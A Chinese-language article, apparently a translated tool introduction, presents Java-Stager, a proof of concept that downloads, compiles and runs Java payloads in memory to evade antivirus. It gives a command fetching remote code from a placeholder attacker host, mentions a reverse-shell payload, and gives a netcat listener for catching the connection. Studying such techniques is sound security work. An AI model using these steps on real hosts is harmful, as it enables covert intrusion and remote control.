看我如何利用Java Stager在記憶體中下載、編譯和執行Java檔案
今天給大家介紹的是一款名叫Java-Stager的工具,在該工具的幫助下,我們可以輕鬆地在記憶體中下載、編譯和執行Java檔案(程式碼)。
注意:需要提醒大家一下,該專案僅供研究及測試使用,請不要將其用於惡意目的。
Java-Stager介紹
本專案基於James Williams的演講《下一代反病毒引擎vs我的垃圾程式碼》所開發,感興趣的同學可以觀看他的演講視訊以獲取更多的靈感:
視訊地址:
看不到?點 ofollow" rel="nofollow,noindex">這裡
演講內容的關鍵點:
1. 如何在目標裝置中載入一個Stager(需要使用合法程式碼觸及目標磁碟); 2. Stager通過HTTP下載原始碼(駐留在記憶體中); 3. Stager編譯原始碼(同樣在記憶體中進行); 4. Stager執行編譯程式碼(同樣在記憶體中進行);
不過他的研究主要基於的是.net,不過我認為這種技術同樣能夠應用到Java中,所以我就設計了這樣一個PoC來驗證上述技術的可行性。
如何使用?
1. 克隆整個專案程式碼; 2. 在能夠使用maven的IDE編輯器(例如NetBeans)中開啟專案目錄; 3. Stager和樣本Payload可以在專案目錄的”/src/main/java”中找到; 4. 選擇你喜歡的Stager,然後編譯專案程式碼,我在預設配置中選擇的是“clean/build”;
Netbeans中的輸出結果應該跟下面的程式碼類似:
Buildingjar:C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar
在目標主機中,你需要上傳“JavaStageer*.jar”檔案以及包含了Janino(從專案的“target”目錄中獲取)的“lib”資料夾。下面的命令將會執行stager:
java-jar JavaStager-0.1-initial.jar
下面這條命令可以給你提供相關檔案的使用資訊:
ProperUsage is: java -jar JavaStager-0.1-initial.jar <url>
其中的“url”是命令唯一需要的引數,該引數將會傳遞給Stager,下面給出的是一個使用樣例:
java-jar JavaStager-0.1-initial.jar http://attackerip/Payload.java
你的Payload必須儲存在一個名叫“Payload.java”的檔案中,你的漏洞利用程式碼必須寫在名叫“Run”的靜態方法內。如果你想自己開發的話,可以參考下面這個模版程式碼:
publicclass Payload { public static void Run() { // Your code here } }
我在“TCPReverseShell.java”檔案中還提供了一個可供參考的反向TCP Payload,為了防止命名衝突,我就不將其取名為“Payload.java”了,如果你想了解“TCPReverseShell.java”的詳細工作機制並進行定製開發的話,可以參考該檔案Header中的註釋內容。
除此之外,你可能還需要在自己的HTTP伺服器上託管你的“Payload.java”檔案,如果你只想使用簡單的HTTP/HTTPS服務(Python2或Python3)的話,我建議你用Apache【 參考資料 】。
除此之外。攻擊端還需要啟動一個netcat監聽器並使用標準nc -lvp 8044技術來捕捉連結回撥。
參考資料
Java-Stager工作機制介紹:【 傳送門 】
工具實際操作演示:【 傳送門 】
* 參考來源: java-stager ,FB小編Alpha_h4ck編譯,轉載請註明來自FreeBuf.COM